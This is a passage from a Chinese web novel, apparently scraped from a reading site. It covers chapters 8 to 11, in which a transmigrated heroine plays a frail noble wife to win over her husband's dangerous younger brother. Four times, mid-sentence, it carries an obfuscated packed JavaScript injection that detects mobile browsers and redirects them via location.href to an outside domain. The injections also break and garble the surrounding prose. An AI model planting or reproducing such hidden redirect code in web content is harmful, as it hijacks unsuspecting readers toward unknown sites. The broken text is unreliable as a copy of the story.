不能因为他杀人像砍菜,就忽略了他也是一个世家公子的事实。 辛夷很快换好了衣裳,她先是潦草的把乌发上的水迹擦干。 接着将换下来的中衣和小衣认真团起来,裹在罗裙和外裳里面,确定不会被看到之后,才走了出去。 沈如芥本来在就着烛火给自己上药。 听到脚步声回头,然后就被辛夷挽了好几圈袖口和裤腿的模样给弄得愣住了。 他的身量高,骨架又比她宽大不少。 衣服穿在她身上松松垮垮,腰间用绳带系住仍然有些过分空荡。 辛夷走过去,温柔从他手里接过药膏,一双烟水般的眸子望向他,“二公子伤重,不方便够到肩膀,我来帮你包扎上药罢。” 话说得很好听,但其实她会上个屁的药。 不过是想通过这种间接的肢体接触,来试着拉高他的好感度罢了。 有句话怎么说来着,叫艺高人胆大。 她从前不会不代表现在不会,不过就是涂个药而已,应该跟糊墙刷腻子的区别不大吧。 辛夷这么想着,但等到真上手的时候还是倒吸了一口凉气。 少年肩头和后背的新伤旧伤交杂,血流不止的地方,甚至皮肉都翻出来。 系统看她半天不动,“宿主在想什么?” 辛夷:“有点儿晕血。” “我还以为你在馋他身子。” 辛夷差点儿咬到舌头,“变、变态啊你,他都快成血窟窿了,我有什么好馋他身子的!” 虽然少年的身体确实很美,腰身像薄刃一样,骨骼筋脉也生得很漂亮。但就是再变态,也不能对着正鲜血淋漓的人有这种歪心思吧! 辛夷觉得自己人格受到了侮辱,气得脸都红了。 “嫂嫂?”少年姿态温顺,似乎在疑惑她为什么迟迟不上手,用那种清冷声音喊她。 辛夷:靠…… 她好像还真的有点儿变态。 怀着一种复杂的自我怀疑心情,她给少年上完了药。因为包扎的时候太过笨手笨脚,不知道轻重,她貌似听到了耳边有隐约的压抑抽气声。 等到所有的一切都结束,已经过去了两柱香的时间。 外面的雨也渐渐停了,月亮从浓云的重重遮蔽中飘出来,庭院中一股雨后的草木土腥味儿。 沈如芥从檀木榻上站起来,漆眸望向她,“我送嫂嫂回去。” * 雁雀叽喳,聚在晴朗的屋檐下,是个显而易见的好天气。 如果不是昨天晚上辛夷睡得太晚,累得要命,现在应该已经起来读书了。 系统还算有人性,知道她做任务辛苦,没有像往常那样吵醒她。阿盈看她还睡着,自然也没有过来打扰。 所以辛夷这段时日以来,第一次睡到自然醒,等她睁眼的时候已经是日上三竿。 好消息是:一觉醒来,沈如芥的好感度上涨了百分之两个点。 坏消息是:她不出意料的感染风寒了。 辛夷于是心境悲催:原主这还真是小姐的身子小姐的命,一点儿金手指都不带有的。 系统安慰道:“已经算有金手指了,否则就不是风寒那么简单了。” 梳洗之后,阿盈连瓷瓶里的插花都没来得及换,就去给她熬姜汤了。 辛夷鼻塞的要命,不停的打喷嚏流鼻涕。 过了一会儿,泪眼婆娑的坐在床榻边缘问系统,“为什么我明明做了和郑妩一样的事,沈如芥的好感值才涨到27%啊?” 如果反派这么难攻略的话,原剧情里的郑妩是怎么让他情根深种的。 系统思考片刻,说出自认为很有哲理的一番话,“或许是因为,在宿主进入游戏之后,原本的虚构世界会变得更加真实。” 辛夷:“……” 倒也没有必要这么真实。 因为风寒的缘故,辛夷这两天比较安分的待在自己院子里,养病的同时听听系统自带的有声书,没再去沈归面前乱晃。 喝完姜茶吃点心,日子过得还算惬意。 然而不止她一个人惬意。 沈归也很惬意,没有她的纠缠打扰,他终于能去找他的外室互诉衷情了。 当辛夷听到系统说,他又去郊外的庄子找郑妩的时候,擤鼻涕的手一停。 也忍不住羡慕起来,“狗男人真好命啊,娇妻美妾样样都有。” 系统实诚道,“也不算都有,起码你准备给他戴绿帽子。” 而且党争站错队之后,下场很凄惨的。 听到系统这么说,辛夷的内心总算平衡了一点。 她拈起碟子里的蜜饯放入口中,用假惺惺的语气感叹道,“是吗?那还真是可怜呢。” * 京城外的庄子里。 佳人相伴,风景宜人。假山后的那方池塘引了活泉水,哪怕天气渐寒,也有鱼儿在里面快活的嬉戏游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778586|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹。 郑妩有几日没见过沈归了,本来还有些闷闷不乐。 等到他今晨匆匆的过来,放下侯爷的威仪同她柔声解释自己公务繁忙之后,就没什么气性了。 她最在乎的就是沈归的爱了。 只要他心里还满当当的都是自己,那就比世间最浓的蜜还要甜。 也许是两人心有灵犀,郑妩今日特意梳妆打扮过,梳了当下京城女子最时兴的发髻,而且她本来就年纪小,粉面桃花好不动人。 只是她发现沈归有些心不在焉,一起用午膳的时候,总是盯着她身上穿着的那件窈蓝色衣裳看。 于是便撒娇似的,痴痴笑着问道,“侯爷喜欢妾身穿的这件衣裳?不然怎么一直发呆,饭也吃不好了。” 沈归回过神来,对上郑妩那张娇憨嗔怪的脸,脑子里却忍不住浮现出另外一个女人。 他想起来辛夷也穿过同样的颜色,只不过一个是绸缎,一个是鲛纱;一个娇憨天真,一个温婉秀丽。 沈归也不知道自己是怎么了,竟会将阿妩和辛夷作比较。 当下心里竟然生出微妙的愧疚。 于是伸手抚上阿妩的脸,将她拉坐到自己腿上抱住,亲昵的说着只有两个人才能听到的体己话,“晚上我还要回府处理公务,等会我们早点歇息。” 郑妩听懂他的言外之意,脸红了个透,“侯爷怎么成天想这个……” 那羞恼的模样,将少女含情姿态说了个尽兴。 沈归笑着将她打横抱起,走进了后面的那间庭院屋舍中。 等到他从郊外的庄子回到侯府,天色已经彻底昏暗了下来。 他像往常那样用完晚膳打算去书房的时候,看到了等在青石阶上的辛夷。 她一身绯色衣裳,正是最浓郁的胭脂色。 只不过穿在她身上半分不显得俗,反而清艳婉约,透着说不出的秀丽,很有官家小姐的书卷气。 几日不见,她似乎清减了不少。 沈归缓缓踱步过去,沉吟片刻,“这两日……有事要忙,所以没去看你,风寒可是好些了?” 女子听罢柔弱的点点头,唇边攒出丝浅笑,“好些了,谢侯爷关心。” 沈归看她那副乖顺模样,心头不自觉软了几分。 刚想再叮嘱她几句,就被匆忙过来神色惴惴不安的小厮给打断了,“侯爷!侯爷不好了……” 小厮慌得脸色煞白,也顾不上辛夷在不在了,“庄子里的丫鬟说,阿妩姑娘自从吃了几块儿桂花糕之后,就一直不舒服。到了晚间更是呕吐起来,眼下正请了大夫瞧呢,侯爷……侯爷你快去看看罢!” 沈归的语气也骤然冷沉下来,“什么桂花糕?” 小厮也魂不守舍,“听那丫鬟说,好像,就是侯爷带去的桂花糕。” 沈归想起来,他今日出门前。 正好碰上了辛夷的婢女阿盈,来给他送糕点,说是夫人亲自做的,让侯爷一定尝尝。 他走得急,就带到了阿妩那里。 阿妩以为是特意给自己带的,打开就要吃,沈归本来想要伸手阻拦,不过又作罢。 算了。 本来就只是一盘糕点而已,阿妩想吃便吃了,没想到竟然会如此。 他下意识的望向身边的“罪魁祸首”,语气极度失望之余,可以称得上斥责,“邬辛夷,没想到你竟然歹毒至此。” “告诉本侯,你到底在那盘桂花糕里放了什么!” 辛夷仿佛吓住了,好半晌才脸色苍白的想要解释。 只不过对方根本就没有心思听她辩解,急匆匆的拂袖而去,让下人套了马,往京郊的方向去了。 看到这一幕的丫鬟仆从们,纷纷假装低头洒扫。 只是那些唏嘘同情的目光落到她身上,却如刀子一般叫人难堪。 她的眼泪一滴滴砸在地上,就连沈如芥什么时候走过来的都不知道。 直到少年皱眉喊了一声“嫂嫂”,她才失去意识,受不住的晕倒在了他的怀里。 9. 闺秀嫂嫂×貌美病娇9 西院的暖阁里,不复以往平静光景。 上下侍候的仆婢忙成一片,大夫刚被送走,就有丫鬟马不停蹄的去抓药煎药,门前瓷瓶里插着的玉兰都被碰落,不小心踩坏两枝。 一道绘着花鸟枇杷的屏风之后。 辛夷攥着少年的衣袖始终不肯松手,她依旧没有醒过来,小脸苍白的闭着眼睛,姿态单薄,瞧上去可怜极了。 映在摇曳烛火下,脸上的泪痕尤为明显。 她一边流泪,一边断断续续的喊“侯爷”,仿佛被梦给魇住了。 看得阿盈在旁边也跟着抹眼泪,心里也酸得不行。 侯爷怎么能那么说夫人呢? 还是当着那么多人的面前责怪训斥,本来府上的下人就觉得夫人不受宠爱,背后不知道怎么取笑嚼舌根呢……今日这么一闹后,这种传言肯定更甚了。 而且她一个做丫鬟的,都知道夫人心地善良,连路边的一只蚂蚁都不敢踩死。 怎么可能主动去害人呢? 那碟糕点可是夫人撑着风寒未愈的身子,早早起来亲手为侯爷做的。 只因她无意之间,听前院洒扫侍候的婢女多提了一句——侯爷近来食欲不怎么好。 这份心意,阿盈看了都觉得感动。 偏偏侯爷视而不见,一颗心全给外头养的狐狸精给勾去了。 本来宠妾灭妻的事也不是没有。 现在阿盈更加笃定,若是以后那个外室进了侯府,恐怕夫人只有挨欺负的份儿。 天幕上的星子希微,透着点点寒意。 只有不知道从哪儿吹来的一只残破纸鸢,不受困扰,歪歪斜斜的趴在墙头上。 辛夷一边假装嘤嘤嘤,一边不经意的把眼泪都蹭在沈如芥的衣袖上。 好厉害,她一定哭得我见犹怜。 “系统,我左边脸哭好看,还是右边脸哭好看?哪种更有心动的感觉?” 系统被她整得无语了,“我要说你右边脸哭得好看,你还能翻个身啊?” “为什么不能?”辛夷说着,嘤嘤嘤的转过了身子,唯一不变的是仍旧攥着少年衣袖死不放手。 好会哭,她真的好会哭。 谁能不为这样的破碎美人而心动? 系统:“……” 是它错了,不该低估了宿主的厚脸皮程度,没有什么是这个绿茶戏精做不出来的。 整个屋子里,看上去最平静的应该就是沈如芥了。 少年神情是惯有的淡漠,任由榻上苍白病弱的女子将脸颊蹭在自己的衣袖上。 如果不是感觉到的泪水濡湿感,他几乎要怀疑她是不是在装晕了。不然怎么能攥得那么紧,好像生怕他跑了。 但很快又面露一丝嘲讽:可不是怕他跑了么,这是把他当成沈归了。 铜制小香炉里飘出袅袅的安神香。 阿盈在屋子里待了一会儿,就擦干眼泪,出去膳房那边催看煎药了,所以现在房中只有他们两个人。 烛火跃动一下。 沈如芥微微俯下身子,勾了丝笑的凑近她,“嫂嫂,你醒着么?” 辛夷吓了一跳,差点儿绷不住漏了馅。 还好她的心理素质比较强硬,才能不在脸上露出破绽,不过还是忍不住暗骂了一声:变态!忽然凑那么近说话,想吓死鬼啊! 她刚刚的心跳都快180了! 辛夷依旧闭着眼。 只不过将计就计的啜泣着拧了拧眉,伸出手在少年脸上拍了一下,不过力道软绵绵的,更像小猫撒娇挠痒痒。 被小猫肉垫盖了一脸的沈如芥,“……” 女子柔若无骨的手指顺势滑落到枕头边上,带着浅淡幽香,另一只手还在可怜巴巴的攥着他,“侯爷……侯爷,别走。” 她的哽咽也细细的,让人心软。 少年的眼底却莫名生出了几分烦躁戾气。 又把他当沈归,从头到脚,他究竟是有哪一点像沈归了? 于是伸手攥住她的脖颈,指骨摩挲着,力道却在逐渐加深。 仿佛下一秒就会掐断般的充满恶意,“嫂嫂,真的没醒么?” 辛夷被他这变态举动,弄得鸡皮疙瘩都起了一身。 偏偏还得装作什么都感觉不到,低声抽噎,依赖的在他冰凉手背上轻蹭了两下,连带着一点未干的泪痕。 沈如芥神情一僵,猛地从榻边直起身子。 动作太忽然,将衣袖从她手中挣脱的时候,害得辛夷胳膊肘撞到了坚硬的床沿。要不是她还在维持人设,真的想骂人。 暖阁的门“吱呀”摇晃两下。 过了一会儿,系统出声提醒她,“别装了宿主,沈如芥已经走了。” 辛夷这才睁开眼睛,痛嘶着揉了揉自己的手肘。 又心有余悸的摸了摸自己的脖颈,“好险,差点儿就被戳破了。” 不过沈如芥真的比她想象中的还要恶劣,呸,变态! 自己好歹是他名义上的嫂嫂,还救过他,他竟然想趁她病中昏迷下毒手,简直太过分了!! 系统打断她的恼怒输出:“宿主别骂了,他也不是真的想对你做什么。” “你怎么知道?” “因为……” 系统沉默片刻,语气难得微妙,“因为他刚刚在把手放在你脖颈的时候,好感度涨了五个点。” 辛夷:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“沈二啊沈二,你好歹也是世家公子,怎么连这点儿风雅意趣都不懂?” 不过还不及将那杯酒饮入腹,萧从荆就神色一顿,像是发现了什么了不得的大事。 用一种终于抓到对方马脚的浮夸语调问,“你来之前跟姑娘亲热了,怎么手上有小娘子留下来的唇脂?” 沈如芥身形一滞,低下头去看。 手背处有潦草的一抹嫣红,应该是辛夷在梦魇中哭着蹭上去的。 他本来不想说,但七皇子还在对面不停的追问,令他心底有些烦躁,“别乱想,是我嫂嫂。” 七皇子听罢更加不可置信,嘴巴都震惊得微微张大了,“沈二,你这与曹贼何异?这天下间,难道就没别的好姑娘了么?” 沈如芥:“……” 10. 闺秀嫂嫂×貌美病娇10 侯府,夜至深重。 纷乱的马蹄声在府门前停下,回来的是沈归和驾车的两个小厮。 他冠衣束带的走在前面,俊逸的脸上已经没有先前的低沉凝重。 反而透着几丝不易察觉的喜意和迟疑。 喜意是因为郑妩呕吐不是因为糕点中被下了毒,而是有了身孕,只不过可能是那盘糕点过于甜腻,加重了她孕吐的早期反应。 大夫诊完脉跟他道喜的时候,沈归半天没反应过来,被心头巨大的喜悦给击中,反复确认了好几遍。 那副模样,哪还有作为侯爷往日的威仪持重,连郑妩的婢女都忍不住跟自家小姐悄悄的相视而笑。 主仆二人眼底的意思分明就是:瞧侯爷,怎么跟个小孩子似的,莫不是高兴傻了? 等到沈归彻底从喜悦中回过神来,又不免想起来自己下午和郑妩的那场厮磨与荒唐,干脆直言不讳的询问大夫,行房事会不会对胎儿又影响。 羞得郑妩立刻脸色通红的瞪向他,后面更是没忍住伸出手锤了他好几下,“侯爷真是……怎么什么混话都说?也不害臊。” 那模样塞得沈归心里满满当当,心里是半分脾气也没有,等到丫鬟送大夫离开之后,才把她抱进怀中笑声哄了好一会儿。 说到最后许诺郑妩,过不了多久就会将她迎进侯府,朱红嫁衣龙凤花烛一样不少,按照正妻的流程好好操办,给她和未出世的孩子一个名分。 沈归心里也确实是这样打算的。只不过等到回了侯府,想起辛夷来,又觉得有些难办,迟疑着不知道该怎么跟她开口。 她能容得下阿妩么,会对那个孩子视如己出么? 应该会的吧。 她那般温柔聪慧的性子,既然能学会世家那些繁缛的礼节规矩,应该也知道怎么做好一个嫡母。 虽然心底多少有些愧疚,但沈归想着,如果她日后也想要一个属于自己的孩子,也不是不行,就当是给她、给邬家的弥补。 想好这些,沈归没有直接回到院子休息,而是将侍候别院的丫鬟喊到书房,询问起辛夷的状况。 在他从侯府离开之后有没有生气,有没有追问关于“阿妩姑娘”的问题,晚膳用得怎么样。 小丫鬟犹犹豫豫的答了,“夫人她……都没有。” 沈归皱眉。 然后就听到小丫鬟接下来的回话,“夫人本来就风寒未愈,加上情绪波动过大,侯爷您前脚刚离开,后脚她就、就晕倒了。” 沈归愣了一下,放下手中摩挲的暖玉从椅榻上站起来,“什么?” 他仿佛这才想起来自己的妻子身体病弱,本来就经不住任何磋磨,哪怕只是无意识的迁怒。 小丫鬟也是个有眼力见儿的,瞧着侯爷面色有些凝重,赶紧补充道,“不过侯爷不用太过担心,阿盈姐姐已经侍候夫人喝了汤药睡下。” “大夫说,等到喝完剩下的那几副药,身子就能好得差不多了。” * 翌日,天朗气清,碧空如洗。 辛夷睡到日上三竿,才从侍女手中接过那碗浓黑的汤药。 据说这种东西她要喝好几天。 辛夷望着手中的药碗陷入了沉默,迟迟张不开口,微蹙的秀眉可以看得出万分嫌弃,“系统,行行好,这几天能帮我把苦味屏蔽一下吗?” 系统,“可以,但同时您也会失去享用美食的味觉,再加上800积分。” 辛夷:“……” 这个世界,果然还是和她想象中的一样残忍。 她很快权衡好了利弊,果断捏起鼻子把黑色液体咕咕灌了下去,灌完之后五官皱成一团,重重的打了个哆嗦。 接着飞速拈起一块果脯放进口中,压一压汤药的苦味。 系统觉察她心情不大美妙,于是安慰道,“世上哪有舒舒服服的工作呢?不都是要先努力,才能取得收获吗?” 辛夷:“是吗?但我看你还挺舒服的。” 只需要每天碎嘴子的幸灾乐祸,然后看看热闹就行。 说话间,阿盈已经把辛夷前几日吩咐要买的东西取了回来,递到她手上,“夫人瞧瞧,这玉的成色怎么样?” 辛夷拿在手上观赏了半天,“很贵……不是,很好。” 虽是白玉,成色却非常的莹润光腻,握在手中似是羊脂一样,一看就价值不菲。 阿盈有些好奇,“夫人买它是做什么用的?上面的纹样雕饰,看上去也不是闺阁女子喜欢的样式啊。” 是块儿非常雅致的双兽龙纹佩,难道要送给侯爷? 辛夷一看她的表情就知道她在想些什么,当下就摇头否认,“别猜了,反正不会送给侯爷。” 送给狗都不送他。 平日里装装羞涩倾慕的样子就算了,这块玉佩可是要真金白银花钱的,送给他岂不是浪费好东西? 她将兽纹玉佩收进绣了兰草的袖口,身姿袅娜的从桌案前站起来。 然后柔声朝着阿盈笑,“今日天气好,我想自己去圆子里走走,你就不必跟了。” * 侯府里处处都是回廊水榭,花圃旁边的假山后便是湖水池塘。 闲暇时倒是个休憩的好地方。 只是沈如芥没想到自己路过时的不经意一瞥,竟会看到一个意想不到的身影。 女主裙裳素净,褪去了绣鞋罗袜,露出藏在襦裙底下的白玉趾足,望向湖面的眉眼微微恍惚。 然后就见她试探着伸出脚,往前迈了一步。 少年神色一凛,施展轻功飞身掠至跟前,直接提着女子的腰间绸带,把她带离湖边。 辛夷还没站稳,就听到对方的指责训斥。 他语调冷得刺骨,一点情面没给她留,“嫂嫂这是疯了?就因为听了两句绝情的话,就失魂落魄要死要活,不觉得自己蠢么?” 辛夷:“啊?我没有……” “事实都摆在面前了,难道嫂嫂还要狡辩么?” 少年的眼底透出嘲讽,像是她方才的愚蠢行为多么令人恼火,“下次想投湖的话,劳烦躲远一些,我也不必自讨没趣的跟着做蠢事了。” 辛夷:“……” 他看起来好生气,不知道的还以为是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778588|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他投湖呢。 但她觉得自己有必要解释一下,于是眼眶红红的委屈望着他,“我没想投湖,是玉佩不小心掉进池塘里了。褪去鞋袜是为了把它捞起来。谁知道刚想弯腰去捡,就被二公子拎得老高。” “……” 这下换成他说不出话了。 沈如芥的视线落在女子伶仃白净的脚面上,还有她不自在蜷缩的可爱无措脚趾。 沉默片刻,终是有些自暴自弃的开口,“捞什么玉佩,我替嫂嫂去捞。” 辛夷却没立刻回答,而是弯起眼睛盈盈一笑,赤着玉足走近他。 漆眸里清晰落着他的影子,语调柔柔的,“所以,二公子刚才是在担心我?” 少年的唇抿得更紧了。 他想说不是,但就连自己都没办法解释刚才下意识救人的举动。 会是么? 会是如她所说的那样,在担心她么? 辛夷本来只是想暗戳戳的撩拨两句,没想到看他的反应竟然像真的默认了。 她受宠若惊之余,将笑涡抿得更深,“我知道二公子是个好人。” 沈如芥听完她的好人论后,没说什么,转身走到她先前所站立的池塘边上。 视线扫视一周,不费什么力气的就将那块儿玉佩从水底捞了起来,然后走过来,递还给她。 辛夷没接,秀丽端庄的小脸上,一双娇怯的眼睛望向他,“我先前留意过,那些世族的公子们都喜欢在身上佩戴玉佩,用来祈福辟邪……” 说到此处顿了顿,“但我看见,二公子似乎没有。” 沈如芥当然没有。 因为从小到大无论侯府里有什么好东西,就算主子们高兴了赏给下人,也不会轮到他。 辛夷迎着少年僵硬茫然的视线,将那块儿兽纹玉佩塞到他手上,笑得静谧温柔,“这个是送给二公子的,特意挑选了驱除邪祟的纹样,以及相对应的生肖属相,希望你不要嫌弃才好。” 话都说到这个份上了,沈如芥自然到最后也没能拒绝。 虽然他收下时的神情有些不自然,但辛夷只注重结果,礼物买来最重要的就是能送出去,肯收下就算成功。 等到她回到别院,才知道刚刚沈归差人来过,送了一堆补品和名贵药材。 并且给她留了话,说是过几日的诗会想带她一起去,让她不要久居深闺忘了和世家间的交流走动。 辛夷知道那个所谓的诗会,曲水流觞,附庸风雅,是达官显贵之间的聚会,在这个朝代很是盛行。 不过她不明白,沈归为什么忽然想起来她了。 系统提醒:“应该是知道自己错怪你了,又拉不下脸面跟你道歉,所以用这种手段来示好吧。” “而且在郑妩嫁进侯府之前,对你好点总是没错。” 呵,渣男的一些手段。 辛夷本来还有点儿不太乐意去,直到她听说,沈如芥到时候也会跟着去。 手上翻看人参当归的动作微微一顿,皱起了眉:他去做什么?别说是为了展示家族和睦、手足情深,她可不相信沈归会如此好心。 11. 闺秀嫂嫂×貌美病娇11 曲水流觞诗会的那天很快到来,因为计划要出门,辛夷比平常起得还要早。 她坐在铜镜前恹恹欲睡的打着呵欠,任由阿盈给她梳妆打扮,好几身衣裳挑来挑去,最后还是选了试穿的第一件。 阿盈明显的高兴,出门的时候在她耳边小声说,“这还是侯爷第一次带夫人出门呢!听说好些世家的公子小姐都会去,很是热闹,可见侯爷心里藏着夫人呢。” 辛夷听得扯嘴角:这小丫头估计以为她拿的是高门主母的宅斗话本,还天真幻想着她能和渣男重归于好,和和美美三年抱俩呢。 殊不知,她的任务是让渣男痛哭流涕。 今日的天气不错,辛夷穿得也单薄。 她提着裙裾抬步迈过门槛,看到了外头停着的一辆马车,很奢华气派,除了流苏挂穗之外,上面还有一些金银纹样,目测容纳三五人不是问题。 辛夷踏出侯府,第一个看到的是沈如芥。 少年穿了身绣云纹的玄衣,俊秀得惹眼,脸上的表情却很淡,活像别人欠了他好几百两银子,抱着把银红长剑站在一匹乌马前。 像是感知到她的视线,抬眼望过来。 脸上微微一怔,冷意渐渐消解了,却不知为何看上去有些烦恼回避的意味。 辛夷冲他一笑。 然后柔身款款的走到他跟前,真心实意的夸奖,“二公子今天穿得真好看。” 其实就是普通的衣裳,看得出不是多贵重的料子,但穿在他身上就是好看。 很俊秀的少年郎,从相貌上看其实很容易招姑娘喜欢。 如果他不天天冷着张脸,应该会有数不清的狂蜂浪蝶往身上扑吧。 辛夷看着他淡漠低垂的眉眼,忽然很想伸出手捏捏他的脸。 然后在心里拼命提醒自己:稳住人设啊辛夷,不要在这个时候犯花痴。 长得好看,不是你蹂躏别人的理由。 殊不知沈如芥也在皱眉克制。 他不动声色退开两步,试图克制自己莫名其妙想要靠近的冲动。 而在他的腰间,还系着她亲手送的玉佩。 今天出门前摘了又挂,挂了又摘,最后还是决定佩着出门。 她都好意思送,他有什么不好意思戴的。 虽然未出阁的小姐送男子玉佩,大多是给情郎的定情信物。但她那么坦荡,分明只是当做谢礼送他。 按理说不应该觉得心虚。 可此刻面对面的站着,沈如芥的心底还是多少有些不自在。 她会发现的罢? 毕竟那块暖白玉佩系在他玄色衣裳的腰间,那么明显。 果然,下一秒女子眉眼闪过一丝讶异。 接着出声夸赞,语调认真:“我就说这玉佩很衬二公子,这样瞧上去果然合适极了。” 她今日穿得是绯色裙裳。 像雨后湖面上氤氲着菡萏的妩媚水波,衬得那张端庄秀丽的小脸愈发生动,尤其是那双含着浅笑的杏眼,望过来的时候,好像坠了一把小勾子。 少年喉结微动,然后不动声色的移开视线。 不等两人再说什么,就听到不远处的婢女们纷纷交杂的喊了几声“侯爷”。 辛夷转过头,果然是沈归来了。 他望过来,看到沈如芥的时候本能的厌恶皱眉头。 等到视线落在辛夷身上的时候,又抑制不住的浮现些许惊艳。 但那种情绪很快被掩藏下去,他走过来想要拉住辛夷的手,和她说上两句软语好话。 可惜被辛夷不动声色的躲开了。 她语调依旧温柔,却没了往日的倾慕模样,“侯爷既然已经准备停当了,我们这就出发罢。” 沈归没想到会被拒绝,望着落空的手沉默半晌,面色微微清寒起来。 阿盈见状不妙,忍不住附在辛夷耳边小声提醒道,“夫人……” 夫人这是气糊涂了,怎么好当众落侯爷面子呢,这下他们夫妻之间的关系,岂不是更加不好修补了? 辛夷当然知道她的意思。 但她权当没看见,转身走到了马车旁边,葱白的素手微抬撩开帘子,“阿盈,你过来扶我一下。” …… 马车辘辘而过,穿过熙熙攘攘的街市巷道,吱呀吱呀的碾过青石板砖。 车驾里的气氛却始终不见好,沈归被冷落后一直板着张脸不说话,还以为妻子会像往常那样娇怯怯的哄他。 谁知道马车走了大半程,辛夷也没有要主动搭理他的意思,于是那张脸更清寒了。 系统:“宿主,感觉沈归要被你气死了。你不是要在和离之前对他好吗,这套路不对劲啊。” “你懂什么?温顺太久也容易让人乏味,他也该知道妻子是个有脾气的世家女了。” 不止是温柔,也自尊清高,只有这样的女子在得知丈夫有外室后才会彻底心死,跟他提和离。 而且不是有句老话说过吗? 人只有在失去之后,才会懂得珍惜。 辛夷随手挑开帘子,偏头望向马车外,正好对上了沈如芥的视线。 少年很随意的单手拉住缰绳,生得剑眉星目、芝兰玉树,那匹据说很烈性的马在他驾驭下,听话得就像一头毛驴。 偷看被抓包,辛夷也丝毫不脸红,她抿着唇冲他甜甜一笑:“^_^” 然后她被阿盈轻轻扯着衣袖转头,就看到了仍旧板着张脸的沈归。 前一秒还笑着的辛夷:“→_→” * 走了将近两个时辰,他们终于到达了此次诗会的目的地。 辛夷被阿盈扶着下了马车,打眼一看啧啧称叹。 这里倒真像是个世外桃源的模样。 湖光山色,亭台水榭,所谓的曲水流觞席竟比她想象中的还要更盛大许多。 只可惜在场的世家贵族,她是一个也不认得。 饶是如此,也有不少看在“候府夫人”的名头上主动来跟她打招呼。 互相恭维了一圈之后,辛夷终于能找个位置坐下。 沈归坐她旁边,沈如芥坐她对面,她正好可以目不斜视。 来之前,她其实对这次诗会是有点儿憧憬的,毕竟从前只在手机屏幕上看过。 来了之后她才发现,这种场合并没有自己想象中的那么好,甚至可以说相当无聊。 她身体不好不能喝酒,也没什么好吃的羹肴,还要听他们说一些酸唧唧的无聊话,坐久了对于屁股都是一种煎熬。 不仅如此,甚至有被点名作诗的风险。 所以辛夷没待多久,就找个借口溜了。 她柔柔弱弱的捂着心口说胸闷,说服力堪比西施,根本没有人怀疑。 直到走出一段距离,她才直起身子舒了口气。 阿盈问她,“夫人不喜欢这次的诗会么?奴婢看您刚才东西都没怎么吃,只喝了两盏茶水。” 辛夷诚实道,“不喜欢。” 主要是不喜欢学习氛围浓郁的地方,而且放眼望去只有她一个滥竽充数的。 好在她离席之前用手帕揣了好多糕点,袖子里也塞了一点。 正好可以喂鱼。 可能是因为此处依山傍水,物饶丰富,就连池塘里的鱼也是格外的新鲜肥美。 好几条跳起来吃,溅起来的水花差点儿弄在辛夷的衣袖上。 她默默的挪了下位置,趴得远了点儿。 就在她以为自己要在这里待到结束的时候。 视线里捕捉到一抹熟悉的身影,辛夷眼神微微讶异,停下投喂鱼食的动作,“二公子,这么巧?” 沈如芥的眸光闪了一下,然后若无其事的攒出个笑,“……确实很巧。” “嫂嫂在做什么?” 于是事情的发展就从她一个人喂鱼,变成了两个人喂鱼。 辛夷的心情很好。 一边教他怎么把糕点揉碎,慢慢的撒下去;一边无意识的拈起剩余的吃起来。 吃到一半,觉得很好吃,想让他也尝尝。 直接掰掉没被咬过的那部分,很自然的举着递到他唇边,“你尝尝,这个味道很好吃。” 她靠得那么近,对他毫不设防。 好像自从那次他从幽州采了灵草回来,在沈归院子前的雨幕里看到她撑着伞走过来,她就一直对他不设防。 少年怔愣一下,看着她温柔纯粹的笑颜,鬼使神差的乖乖张开嘴巴。 就着她的手,把剩下的那半块儿糕点含入唇间。 许是见他如此配合,辛夷忍不住伸手又喂了他一块儿,笑眯眯问道,“好吃么?榛子口味的。” 水榭之下,是跃起求食的鱼。 水榭之上,她的指尖还毫无所觉的停在他唇边。 带着清冷幽香的绯色衣袖垂下来,轻柔磨蹭他的手背,上头的兰草刺绣硌得他痒。 少年垂下轻颤的鸦黑睫羽,伸指勾了勾。 * 沈如芥没陪她待太久,两个人不好相继离席,又一起回去。世家大族的规矩多,恐怕生出一些闲言碎语。 所以他起身的时候,辛夷也没拦他。 她没骨头似的趴在朱漆的栏杆上,将剩下的那几块糕点全都弄碎了,撒进池塘里头。 又捧着下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778589|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴欣赏了一会儿湖光山色,这才掐着时辰,让阿盈扶着她回去。 然后就看到了让她无比震惊,且怒火中烧的一幕。 